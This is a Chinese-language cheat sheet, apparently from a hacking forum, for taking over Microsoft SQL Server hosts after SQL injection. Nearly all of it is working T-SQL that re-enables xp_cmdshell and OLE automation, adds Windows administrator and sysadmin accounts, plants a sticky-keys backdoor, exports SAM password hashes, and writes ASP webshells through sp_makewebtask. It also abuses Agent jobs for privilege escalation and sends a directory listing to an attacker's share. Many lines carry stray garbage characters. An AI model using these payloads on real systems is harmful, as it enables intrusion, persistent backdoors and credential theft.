1 未能找到存储过程'master..xpcmdshell'. EXEC master.dbo.sp_addextendedproc 后用下面的三种方法,在注入点上执行加个空格和;号
" E, Z% z/ w2 F. M' k恢复方法:查询分离器连接后,+ c% Q/ s) b5 c7 q9 P
第一步执行:EXEC sp_addextendedproc xp_cmdshell,@dllname ='xplog70.dll'declare @o int
1 k( s1 D8 Y1 S8 _, ^第二步执行:sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll' " C* n& x! _* ~; Q! s! w) q% p' f$ A
然后按F5键命令执行完毕) j0 X' N1 Q% u4 x+ `- g& ?) z
' ~6 o7 @0 X* j- L2 无法装载 DLL xpsql70.dll 或该DLL所引用的某一 DLL。原因126(找不到指定模块。)
2 K, A3 o$ }2 B4 W7 _, e恢复方法:查询分离器连接后,# b3 J" ^- k& @, H* p
第一步执行:EXEC master.dbo.sp_dropextendedproc "xp_cmdshell"0 ~% D) t0 p% z9 n
第二步执行:EXEC master.dbo.sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll'
& v. q5 a8 [6 r+ ~5 b. I0 W然后按F5键命令执行完毕( {+ N& T& N9 C. Z
- w7 t9 h) ^- J4 D0 J' R
3 无法在库 xpweb70.dll 中找到函数 xp_cmdshell。原因: 127(找不到指定的程序。)( c+ e# E, ~+ C2 h. C
恢复方法:查询分离器连接后,( A, R( v7 [# y% E
第一步执行:exec sp_dropextendedproc 'xp_cmdshell'. R# V, H% C4 v
第二步执行:exec sp_addextendedproc 'xp_cmdshell','xpweb70.dll'
; s8 z2 Y# @( h# P然后按F5键命令执行完毕
% T& V- ^7 b$ S
7 k* W2 o$ `$ z2 ]/ N1 _4 K7 g' \# ]0 p' a4 终极方法.
* x% B9 N) F+ I) t q2 ]: @6 S如果以上方法均不可恢复,请尝试用下面的办法直接添加帐户:
( V; X8 e% x: Z7 d+ I/ c" C查询分离器连接后,) O4 ~. s& E9 M' y7 J
2000servser系统:
- s' l& a# T' w ~2 g, K% E7 l' \declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd.exe /c net user 新用户 密码 /add'' Z' J& i+ e; \5 l7 M. z; e( p
' k' K5 P1 p7 \, W* zdeclare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd.exe /c net localgroup administrators 新用户 /add'
p) B1 B5 C! ?/ o
0 ^' q. ?" B% Zxp或2003server系统:
8 }/ L. n6 @3 z2 Y0 \6 C% `6 D+ Y e9 f
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net user 新用户 密码 /add'
S- ]* O0 i& ?6 u+ L$ U
# N4 f% `! }* J; z1 u: P, ddeclare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net localgroup administrators 新用户 /add'
! B8 h. L8 ?: i b1 B+ g5 i3 n, W+ d
; t" z8 |0 J k9 q( G3 X9 p e7 a
五个SHIFT
7 `. d& O7 e8 Z! M, O/ d. ddeclare @o int exec sp_oacreate 'scripting.filesystemobject', @o out exec sp_oamethod @o, 'copyfile',null,'c:\windows\explorer.exe' ,'c:\windows\system32\sethc.exe';
1 Y! X* x/ c. T) [) I" v/ g; {( I" N8 U3 b* F+ z6 M, @1 n
declare @oo int exec sp_oacreate 'scripting.filesystemobject', @oo out exec sp_oamethod @oo, 'copyfile',null,'c:\windows\system32\sethc.exe' ,'c:\windows\system32\dllcache\sethc.exe';
5 y6 g* h0 V& L4 ~# C0 p+ Y( o3 B, c* n1 J/ \" W* K$ g. }
xp_cmdshell执行命令另一种方法
5 Z* h |/ L O2 `declare @a sysname set @a='xp_'+'cmdshell' exec @a 'net user refdom 123456 /add'
) u" Q3 c/ \2 Y4 C0 P t
" _' H2 k6 C# j5 w0 C" Q7 \判断存储扩展是否存在( \0 f B ]- Y: M3 G
Select count(*) from master.dbo.sysobjects where xtype='X' and name='xp_cmdshell'
& T" S) M7 F1 c! o& i8 F返回结果为1就OK
: ]5 |8 p2 H$ @" e4 I% O( }5 K z* a# T4 Y7 A9 K( ]
% [3 A5 E$ q: z/ w
上传xplog70.dll恢复xp_cmdshell语句:
, g% E4 V A K" Nsp_addextendedproc xp_cmdshell,@dllname='E:\newche2\about\XPLOG70.DLL' u8 z! M( {" X' r2 N1 Y
1 A6 [+ x$ h& G& l否则上传xplog7.0.dll8 \( R0 N5 k& A) \( _$ H% O& t/ A
Exec master.dbo.addextendedproc 'xp_cmdshell','C:\WinNt\System32\xplog70.dll'. u3 B9 j5 D/ \& j% f
5 r) d. c& M1 q$ |6 E+ P% S6 o3 Q( A# U7 ~1 B, B$ _& w
$ R+ N. D5 X* d; [+ |7 K- m
首先开启沙盘模式:0 ^/ c4 R0 v, {9 r, S9 y: M ~8 l- r
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1
) b: U9 a5 e, f4 H' T% ~; c" a0 A* N4 F. k1 i
然后利用jet.oledb执行系统命令+ Y1 w* a. ?, f( f3 K* C
select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\winnt\system32\ias\ias.mdb','select shell("cmd.exe /c net user admin admin1234 /add")')7 A) y) X' R2 v8 p/ ?
返回 不能找到c:\windows\system32\ias\ias.mdb错误,用exec master..xp_dirtree 'c:\windows\system32\ias\ias',1,1-- 发现c:\windows\system32\ias\ias.mdb没了,应该是被管理员删掉了,还有另一个mdb也没了
4 }) y) `" V% H2 o4 j: |$ F& G; ^- S7 \( L. c
9 h9 k* l( Q5 [
' V% r; q& e; C, @5 e+ Y( X
恢复过程sp_addextendedproc 如下:
4 v6 J! Y b x, Y, wcreate procedure sp_addextendedproc --- 1996/08/30 20:13 $ x( Y- I, D, D* E9 D2 S
@functname nvarchar(517),/* (owner.)name of function to call */
3 `5 X, P0 }3 S/ o5 s* F@dllname varchar(255)/* name of DLL containing function */
8 q" j% z- V1 ~5 R. \8 M0 eas
3 @: S. l" u! D( w0 C: Aset implicit_transactions off
4 c, l H5 d$ Yif @@trancount > 0 # j& k& e2 h4 _0 l1 a) N
begin
" W' O* ?) F( M2 `( ^raiserror(15002,-1,-1,'sp_addextendedproc') + ~; N/ t) p2 i
return (1) 3 C. ?8 t' w1 E+ `3 m
end
5 j$ M9 }* D% ]1 h$ S/ jdbcc addextendedproc( @functname, @dllname) 2 C% m9 j" K% T! U5 T5 B7 K- j6 V
return (0) -- sp_addextendedproc 7 P. t7 P& c- c8 h3 x
GO
) T- r \/ O# [: w2 S2 B4 p
5 z' R+ c/ B" F0 `! E3 h3 |: B+ g8 _: ^+ J5 g
) ~/ C1 J0 U" q4 m+ V* b导出管理员密码文件
) e6 ]: m. J/ ]sa默认可以读sam键.应该。% g4 j: I1 B7 Z9 H: ?% d- }$ p
reg export HKLM\SAM\SAM\Domains\Account\Users\000001F4 c:\old.reg" G% @- Y/ S& e) H& }/ c9 G
net user administrator test9 M! F& p9 y1 ]# I+ W; x
用administrator登陆., \+ h5 F' V$ S. o9 p% E* {8 v- @
用完机器后
) y: o, M1 F, r" areg import c:\test.reg
3 y- V6 H. j5 Y# ?4 {/ l7 K根本不用克隆.# C8 i( x! o( J
找到对应的sid.
( r( c. O0 `1 d7 ^! s6 j2 S2 W z0 r
, m1 j' l8 }7 p7 r; k4 V; K
( ]; `8 t) Q: \+ |7 \; u
恢复所有存储过程
) K- S' q9 |* kuse master
' a& R8 Q+ h' |7 p. c* y6 Uexec sp_addextendedproc xp_enumgroups,'xplog70.dll'
3 O0 F* \- V; `2 C( E* c7 u1 |2 uexec sp_addextendedproc xp_fixeddrives,'xpstar.dll'
- f( U* y p& t* w' b, C6 Bexec sp_addextendedproc xp_loginconfig,'xplog70.dll'
p. J) t o- K! t' p; [# Mexec sp_addextendedproc xp_enumerrorlogs,'xpstar.dll'
: }) N- P+ z4 @4 v- Bexec sp_addextendedproc xp_getfiledetails,'xpstar.dll' 5 I7 P$ }" K$ K" O6 c: F
exec sp_addextendedproc sp_OACreate,'odsole70.dll'
: E) L! I) d! j# w, pexec sp_addextendedproc sp_OADestroy,'odsole70.dll' + U1 b; Z- v, y- S. v) a
exec sp_addextendedproc sp_OAGetErrorInfo,'odsole70.dll' 3 B" q4 A6 o+ Z3 {
exec sp_addextendedproc sp_OAGetProperty,'odsole70.dll' 8 p4 i+ b! ]5 D
exec sp_addextendedproc sp_OAMethod,'odsole70.dll' 1 I# t1 ^5 m* Z- R
exec sp_addextendedproc sp_OASetProperty,'odsole70.dll'
3 Y& T) C% ~1 cexec sp_addextendedproc sp_OAStop,'odsole70.dll' 0 m% A/ a- S4 @
exec sp_addextendedproc xp_regaddmultistring,'xpstar.dll'
0 C4 n6 w; Y9 Cexec sp_addextendedproc xp_regdeletekey,'xpstar.dll'
5 N( p+ } U' z3 R. V Y* @exec sp_addextendedproc xp_regdeletevalue,'xpstar.dll' % Z; U& Q" y3 {* i- v
exec sp_addextendedproc xp_regenumvalues,'xpstar.dll' 5 }9 D; U( Z; r- F" u5 m3 K
exec sp_addextendedproc xp_regread,'xpstar.dll' , P* E/ A! H) ]6 S* i" H
exec sp_addextendedproc xp_regremovemultistring,'xpstar.dll'
, T+ I& H1 N1 X9 jexec sp_addextendedproc xp_regwrite,'xpstar.dll' 7 k" g1 H K+ a; f: v! e
exec sp_addextendedproc xp_availablemedia,'xpstar.dll'1 N) o0 z- Q; L3 A" F
% i3 s1 q+ d) A. f! F
: I( K3 ]- l+ _建立读文件的存储过程
i, ]) p' G* JCreate proc sp_readTextFile @filename sysname7 t% T& W8 r& a6 j, d
as4 H5 C3 K5 `" r, o
% E; X: u2 F/ x begin 9 H' Y- S# I9 O0 x! m
set nocount on
" P V: f: q0 y3 k' G Create table #tempfile (line varchar(8000))* a9 l+ A0 c; Z% s4 n% u: L
exec ('bulk insert #tempfile from "' + @filename + '"')" Y6 B3 m1 |: ~4 o8 b, J* j
select * from #tempfile
5 B. b# q- M$ M8 S! E drop table #tempfile0 U( v5 ?7 D$ H) X7 q. C) Y6 @
End" E3 d6 m. ~4 @# ^. `
7 U6 H3 E0 Z, `9 p+ b# e
exec sp_readTextFile 'D:\testjun17\Teleweb-Japan\default.asp' 利用建立的存储过程读文件3 {! w& |+ ]( U$ U# A4 i
查看登录用户' W3 S) V) T- ?! g _
Select * from sysxlogins; L; g6 S3 g! {, Q8 c/ ~
8 j1 R4 }; g2 S/ r% N
把文件内容读取到表中) n W7 @: ]- z* @
BULK INSERT tmp from "c:\test.txt"
7 N7 N/ X5 o1 `$ v1 |dElete from 表名 清理表里的内容
9 X: l* o' ]5 A3 j5 `create table b_test(fn nvarchar(4000));建一个表,字段为fn3 R+ {5 Q8 P) i8 K$ H/ r4 `
; P9 Q" G- j" K# P: y, w3 I H( n
- j: Y9 D+ g: J! q( A; A加sa用户
6 E" ^4 P% _7 R, Fexec master.dbo.sp_addlogin user,pass;, S; `( k# h' f- n5 o/ p: p
exec master.dbo.sp_addsrvrolemember user,sysadmin- [: E0 e$ L: {% h! X
5 K2 P3 m# w9 \" r0 m9 M6 ?' v
3 ]$ O% c& r2 j0 x3 F" G% f
# C5 w; G3 Y" k: l) J读文件代码
: R6 F( ^7 c! J* g$ Tdeclare @o int, @f int, @t int, @ret int o2 ~! T) K! O l& I2 D5 Z4 |- e
declare @line varchar(8000)
9 A4 P' S5 ]9 p5 N6 u7 a0 L) Hexec sp_oacreate 'scripting.filesystemobject', @o out" \! }; q% c2 a M. n
exec sp_oamethod @o, 'opentextfile', @f out, '文件名', 1
! m, g) G4 p) g7 m$ M4 f' cexec @ret = sp_oamethod @f, 'readline', @line out* N1 w- T& w5 j+ ~* I9 y" t
while( @ret = 0 )
/ d: R! y l2 I( {3 M6 Q3 ^5 sbegin
2 Q; E% x4 C$ Rprint @line; ~0 ]' `" a; K. l
exec @ret = sp_oamethod @f, 'readline', @line out
5 j" f3 \ I; \0 N! J% A$ k+ Vend0 g0 Q0 ^8 i% @" k# |. J. ~- V
" [9 F$ Y9 m- w+ L- e
$ E4 f: D) e8 G# O写文件代码:
* |- ?+ U6 u. ]% t) t# V- Ndeclare @o int, @f int, @t int, @ret int( A- X) F; u7 `7 j
exec sp_oacreate 'scripting.filesystemobject', @o out' l& N- c6 r+ \( ^7 a# ~5 Y$ l' m
exec sp_oamethod @o, 'createtextfile', @f out, 'd:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini', 1
8 s' f6 D& z x# Z2 a: {" lexec @ret = sp_oamethod @f, 'writeline', NULL, 《内容》' F% ^% e+ c; B1 B- O$ d$ [
& \1 \$ g0 ]" D0 o/ m
# m5 W* f5 f0 S# ^/ V, Y9 T' a
添加lake2 shell9 S: F3 i$ Z- O0 s! l, W* v0 m7 e
sp_addextendedproc 'xp_lake2', 'c:\recycler\xplake2.dll'- u$ W. P$ }7 M* n$ I- S" M
sp_dropextendedproc xp_lake2# ?( T; f) O* Y# Z) z
EXEC xp_lake2 'net user': Q$ ?4 Z8 X9 \' l. w* F+ |( {
8 o: {3 Z$ @# D5 e4 _6 _
# D- {% I* j; T+ J" K+ i" X
得到硬盘文件信息
( s; a5 T( }: }9 l/ n--参数说明:目录名,目录深度,是否显示文件
' @. X6 E3 B5 A: Gexecute master..xp_dirtree 'c:'
! t6 ?/ d9 h* @8 R7 T: p0 texecute master..xp_dirtree 'c:',1 $ q. T8 g7 }+ `4 \
execute master..xp_dirtree 'c:',1,1 ( t1 l( G% m& N: X) U
8 W$ C" [) }0 _
3 r; O# a( m3 K, o( v3 k2 \
读serv-u配置信息
# y j* B( ~: `# ?3 J$ eexec sp_readTextFile 'd:\Program Files\RhinoSoft.com\Serv-U\ReadMe.txt'7 v9 A7 ?( t( z' D) y
exec sp_readTextFile 'd:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini'! Q0 W: j. I# f9 S1 `; _# g& H
4 `. P# k% g3 n3 j通过xp_regwrite写SHIFT后门
/ K! G( L) Z" b: l8 Texec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe','debugger','REG_sz','c:\windows\system32\cmd.exe on';--
# |) Q4 ~! N+ G `! B# j |/ v d0 f0 O8 D5 j( Y
. R" D1 J& C' s U4 }+ N: r1 R
0 j+ y/ y, F# ?& h( G% Q* a( o
找到web路径然后用exec master.dbo.xp_subdirs 'd:\web\www.xx.com';: l) H2 b( G9 X$ S$ U3 C* P, t
exec sp_makewebtask 'd:\web\www.XXXX.com\XX.asp','select''<%execute(request("SB"))%>'' '备 份一个小马就可以了
( y1 Z# ?4 B9 ]6 Q* Q" W& y2 C8 K( b! Q$ b
EXECUTE sp_makewebtask @outputfile = ‘WEB绝对路径\导出的文件名.asp',@query = 'SELECT 你的字段 FROM 你建的临时表'* F, i6 B5 c; B5 A
! F9 ~. C- _/ ^- z5 u
# L5 r$ t' v$ R$ J; V0 y ?8 c" Y0 V) g5 o0 e6 s0 J# R' b( L
sql server 2005下开启xp_cmdshell的办法
* v8 J5 e. q$ X9 S- ?) X! l* Y: [1 \, N' e4 ~& ?
EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;! d |: C' l" l" F9 s
7 Y+ h, X. x9 R- ]2 I, ?+ a7 S
SQL2005开启'OPENROWSET'支持的方法:
5 o( K6 S, g* ]. w0 d1 _5 e$ z5 k8 m* j% ~& [4 C. u
exec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Ad Hoc Distributed Queries',1;RECONFIGURE;" M# D8 I7 @9 [
6 e& m* N( h- k
SQL2005开启'sp_oacreate'支持的方法:) E! m/ V- n$ M+ ^/ x$ u' m4 ~$ E
~1 M$ l" K( X% a' A
exec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Ole Automation Procedures',1;RECONFIGURE;
& e+ h( s4 y9 b; j+ {1 o# k- Y& J' X" @0 T
) M- C. E1 _3 E# L2 O; f
: z6 \; {& x3 H ^7 b& W: e8 c
( u! n% u0 W% N7 f0 x
5 V: ?9 N8 q5 I' g$ N3 ~- x3 g( p- w! z9 v
& b* f' i! _ L- |$ S8 n
9 J& I3 u" {1 K( [ {6 f/ h( ]$ Z7 j: }+ W7 E* ^' l$ B. K+ E; {
1 d4 _: {& ]$ D; {
" b. f+ M+ n0 @$ b. N# Y9 }! L
* R2 O5 v4 C9 @4 A7 q8 I
: L$ r/ z6 [( Q' g, ~; s0 Y4 i- a0 h( v& W
' r1 E' F/ N9 p7 J5 L! ~
6 e1 T) L, n7 W( Q! J
) a+ Q! F3 C$ _8 }# t A
( J1 }) \& J' i) G; k* f3 T w/ } q
/ k, w' E# y4 s) J' R, q
9 X* ?/ d* H# k2 w! Q" Q# R2 c! k t+ h4 C* P7 ?- |: h
" Q0 }3 Y' ]' y
% X( G. ]5 j `: D* n+ e4 h7 S9 {- I以下方面不知道能不能成功暂且留下研究哈:
# M0 O I4 m$ q! Z* h' M. ?4)# ~8 Y8 b! E6 k# U% P* c3 I
use msdb; --这儿不要是master哟& S/ p) O) T- w. n/ }- q. @. R
exec sp_add_job @job_name= czy82 ;
4 E' M1 c9 P! v* Y } bexec sp_add_jobstep @job_name= czy82 ,@step_name = Exec my sql ,@subsystem= CMDEXEC ,@command= dir c:\>c:\b.txt ;) d- ^* m3 y, i( G5 H; s- K
exec sp_add_jobserver @job_name = czy82 ,@server_name = smscomputer ;
5 f( f& U Z9 I1 n3 qexec sp_start_job @job_name= czy82 ;0 ~- ^: ^" I; p- [
- a, N& |' E" s. R8 H
利用MSSQL的作业处理也是可以执行命令的而且如果上面的subsystem的参数是tsql,后面的我们就可以
2 U F$ c) w5 M4 C, m执行tsql语句了.* W) a' ?5 O; b: e
对于这几个储存过程的使用第一在@server_name我们要指定你的sql的服务器名9 G+ S, h% \& P! }: H9 l2 }
第二系统的sqlserveragent服务必须打开(默认没打开的气人了吧)2 |7 g A7 m4 N, k) k" w! ]) c
net start SQLSERVERAGENT7 h) J- l. o8 h% R
2 C) Z4 v+ T* I" R! z对于这个东东还有一个地方不同就是public也可以执行..同这儿也是有系统洞洞的看下面的
! C9 ~# \9 A, dUSE msdb
1 w. ^9 G4 k$ ?6 w& eEXEC sp_add_job @job_name = GetSystemOnSQL , i& Z/ @6 `( u7 ^) L" A- ?
@enabled = 1,
- m# f6 Y) e# x( z2 i/ l( B7 P5 }@description = This will give a low privileged user access to- E$ U/ {8 z* ?. i' a e
xp_cmdshell ,
% B4 L" }$ o1 R- X$ {1 _& q% f@delete_level = 1* d+ e( E" ?6 g
EXEC sp_add_jobstep @job_name = GetSystemOnSQL ,/ n, f5 v; a# K( _
@step_name = Exec my sql ,& N S; t! w" h- \- Y* j" S, _
@subsystem = TSQL ,) l) ?$ x* T( l! Y
@command = exec master..xp_execresultset N select exec* B; I$ ^+ O9 o; J
master..xp_cmdshell "dir > c:\agent-job-results.txt" ,N Master & Q3 _+ y0 p9 Y' K. x( u* A
EXEC sp_add_jobserver @job_name = GetSystemOnSQL ,3 b) ^% l/ U. B5 y3 [/ _
@server_name = 你的SQL的服务器名 6 E- Z# [* [& Y# C: ?! h( p; X
EXEC sp_start_job @job_name = GetSystemOnSQL
4 G+ j/ w, j8 p. o& M7 v8 b' P
9 @- S8 l9 Z; D2 u不要怀疑上面的代码,我是测试成功了的!这儿我们要注意xp_execresultset就是因为它所以
( _, s, `' g4 e, ]& u2 Y" w# c才让我们可以以public执行xp_cmdshell1 N2 [ Z! y' A+ X. ]# W
% u+ ^) c% r) K! ^( D2 @( z
5)关于Microsoft SQL Agent Jobs任意文件可删除覆盖漏洞(public用户也可以)6 H: {/ R; J7 C4 _
在安焦有文章:http://www.xfocus.net/vuln/vul_view.php?vul_id=2968
: d1 @* \2 ]0 Z: ?$ _. l
; O" Z6 ~! }, ?3 N4 w: JUSE msdb, N0 i" E0 h+ z1 @
EXEC sp_add_job @job_name = ArbitraryFilecreate ,
8 n% f7 i1 U- t$ l@enabled = 1,; ]/ v: `8 z# U& P T% H7 G
@description = This will create a file called c:\sqlafc123.txt ,
0 Z0 u2 x% N& v@delete_level = 1
5 q$ u4 R- D5 g. K, _( J8 YEXEC sp_add_jobstep @job_name = ArbitraryFilecreate ,4 q6 U* D8 q' Z7 Z' }
@step_name = SQLAFC ,
+ Y7 R3 z( O/ m! o) J6 l@subsystem = TSQL ,
4 [, c' V9 q6 g@command = select hello, this file was created by the SQL Agent. ,
, \; q1 [7 w. }+ }% Q5 x@output_file_name = c:\sqlafc123.txt 6 w v! A: f5 W; S2 H
EXEC sp_add_jobserver @job_name = ArbitraryFilecreate ,9 Z P' t! `, j
@server_name = SERVER_NAME + j1 N% T. M' P7 g7 Q9 H
EXEC sp_start_job @job_name = ArbitraryFilecreate 5 ?% @3 G% {# C4 C+ ?
% s/ o5 A' q! J如果subsystem选的是:tsql,在生成的文件的头部有如下内容1 Y# J5 L5 A+ a& Y2 h/ a. X
4 l) [$ T1 a& q2 n
??揂rbitraryFilecreate? ? 1 ?,揝QLAFC? ???? 2003-02-07 18:24:19
: `, q9 a! ^* v0 H9 J----------------------------------------------
6 _) T# w- d/ {9 I( g: n! I- Mhello, this file was created by the SQL Agent.
' C1 V% M" z/ ]* A" D: S5 B6 f- R: F$ h: V9 d
(1 ?????)( Q( x" [5 ?0 N3 i
1 C5 F9 k3 T. N7 T# E
所以我建议要生成文件最好subsystem选cmdexec,如果利用得好我们可以写一个有添加管理员8 k8 r, `' c g6 w; k- O$ S" Y
命令的vbs文件到启动目录!- U$ K2 F3 P: B+ O
9 q5 k7 ?' {. R: M# e5 J2 f6)关于sp_makewebtask(可以写任意内容任意文件名的文件)
6 J; z% D* t6 o* h$ T' a关于sp_MScopyscriptfile 看下面的例子
( h( Z% H) A+ Q. D/ Fdeclare @command varchar(100)
% X4 P" t! E% e# C4 M, S/ _declare @scripfile varchar(200) ) S2 H r4 d$ f1 K, n
set concat_null_yields_null off
: g0 A$ W& d; q4 Q. h4 e( Sselect @command= dir c:\ > "\\attackerip\share\dir.txt" 6 F# f b' {$ U! v
select @scripfile= c:\autoexec.bat > nul" | @command | rd " 0 u# g$ C1 H$ S+ v
exec sp_MScopyscriptfile @scripfile , $ F6 f" a) Q! t' e
+ N K7 F0 J6 h! m/ T0 Q, w% k这两个东东都还在测试试哟
% T I/ `5 |# D. |% x. _0 X让MSSQL的public用户得到一个本机的web shell , H. {' c7 X- G. a' v
8 p1 B4 z4 z* V2 P7 B3 u0 M3 Rsp_makewebtask @outputfile= d:\sms\a.asp ,@charset=gb2312,
: ?- L! ^ m/ W--@query= select <img src=vbscript:msgbox(now())>
4 O: N" L5 j" L7 V, W--@query= select <%response.write request.servervariables("APPL_PHYSICAL_PATH")%> ( B2 Y3 x- q8 m
@query= select 7 B: R% J( v, X( ?. D/ i# ]7 ^* _
<%On Error Resume Next & e2 t. H4 b; I8 x/ H3 U/ @$ X# R( O
Set oscript = Server.createObject("wscript.SHELL")
# q0 s! |7 t; MSet oscriptNet = Server.createObject("wscript.NETWORK") _( R/ [+ b% Q+ }- ?9 x1 k9 [3 ]3 l: w
Set oFileSys = Server.createObject("scripting.FileSystemObject") 8 Y( H0 y* Y% \8 I" k6 o3 h
szCMD = Request.Form(".CMD") 2 z! L: W1 D" j$ l& n |
If (szCMD <>"")Then
8 z" }$ S7 v& o YszTempFile = "C:\" & oFileSys.GetTempName()
7 f% Q, b: L! U% ^- ]Call oscript.Run ("cmd.exe /c " & szCMD & " > " & szTempFile, 0, True) 3 E: d% D' _5 }5 c- n8 o
Set oFile = oFilesys.OpenTextFile (szTempFile, 1, False, 0)
) \. N- x* L: r$ n6 tEnd If %> + F9 J: {" d. B$ R* L8 w* |
<HTML><BODY><FORM action="<%= Request.ServerVariables("URL")%>" method=" OST"> : ^, ^+ S- r- q! x
<input type=text name=".CMD" size=45 value="<%= szCMD %>"><input type=submit value="Run"> & K- ~) b0 @8 ]% l. }; ^" ?8 n
</FORM>< RE>
/ _9 u' J Q3 \<% If (IsObject(oFile))Then
% A+ Y x' K6 ]$ AOn Error Resume Next + X$ a n4 I; w5 {- o
Response.Write Server.HTMLEncode(oFile.ReadAll)
( M' T- q$ L: G) ~oFile.Close % e2 a: H' x8 \6 f0 \0 O3 q/ i9 R
Call oFileSys.deleteFile(szTempFile, True) # k. L1 e. `. S! V8 |2 H1 _6 v
End If%> ' Q. z, \6 o( K" \! ~4 T
</BODY></HTML>
8 e4 G8 U1 ]2 P8 \8 i2 p |